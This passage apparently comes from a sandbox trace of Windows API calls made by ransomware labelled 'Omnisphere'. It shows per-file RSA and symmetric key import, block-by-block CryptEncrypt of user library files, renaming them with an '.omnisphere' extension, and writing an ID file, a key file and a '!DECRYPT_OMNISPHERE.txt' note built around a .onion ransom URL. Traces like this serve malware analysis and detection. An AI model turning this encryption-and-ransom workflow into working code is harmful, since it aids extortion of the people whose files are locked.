pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.053] CryptDestroyKey (hKey=0x16394e8) returned 1 [0118.053] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0118.053] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x81d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.053] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.054] GetProcessHeap () returned 0x1600000 [0118.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c0) returned 0x169ee58 [0118.054] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms.omnisphere")) returned 1 [0118.054] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.omnisphere.id" [0118.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.055] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.056] CloseHandle (hObject=0x3c0) returned 1 [0118.057] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.057] CloseHandle (hObject=0x288) returned 1 [0118.057] SetEndOfFile (hFile=0x28c) returned 1 [0118.057] FlushFileBuffers (hFile=0x28c) returned 1 [0118.060] CloseHandle (hObject=0x28c) returned 1 [0118.060] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 1 [0118.060] GetProcessHeap () returned 0x1600000 [0118.060] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169f120 [0118.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.060] GetProcessHeap () returned 0x1600000 [0118.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693c38 [0118.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693c38, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.061] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.061] GetProcessHeap () returned 0x1600000 [0118.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686f08 [0118.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686f08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.061] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.061] GetProcessHeap () returned 0x1600000 [0118.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166b0b8 [0118.061] PathCombineW (in: pszDest=0x166b0b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" [0118.061] GetProcessHeap () returned 0x1600000 [0118.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169b1b8 [0118.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.061] WriteFile (in: hFile=0x28c, lpBuffer=0x169b1b8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169b1b8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.061] CloseHandle (hObject=0x28c) returned 1 [0118.061] GetProcessHeap () returned 0x1600000 [0118.062] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169f120 | out: hHeap=0x1600000) returned 1 [0118.062] GetProcessHeap () returned 0x1600000 [0118.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1631518 [0118.062] PathCombineW (in: pszDest=0x1631518, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" [0118.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.062] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.062] CloseHandle (hObject=0x28c) returned 1 [0118.062] GetProcessHeap () returned 0x1600000 [0118.062] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631518 | out: hHeap=0x1600000) returned 1 [0118.062] GetProcessHeap () returned 0x1600000 [0118.062] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630de8 | out: hHeap=0x1600000) returned 1 [0118.062] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x441aa510, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce4bb176, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x807, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Music.library-ms", cAlternateFileName="MUSIC~1.LIB")) returned 1 [0118.062] GetProcessHeap () returned 0x1600000 [0118.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0118.062] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="Music.library-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" [0118.062] StrStrW (lpFirst=".omnisphere", lpSrch=".library-ms") returned 0x0 [0118.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.063] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=2055) returned 1 [0118.063] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2e3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.063] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.065] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] GetTickCount () returned 0x115d82c [0118.066] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0118.066] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.067] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.067] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.067] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0118.067] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x807, lpName=0x0) returned 0x288 [0118.067] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x807) returned 0x1480000 [0118.067] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0118.067] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.068] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.068] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.069] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 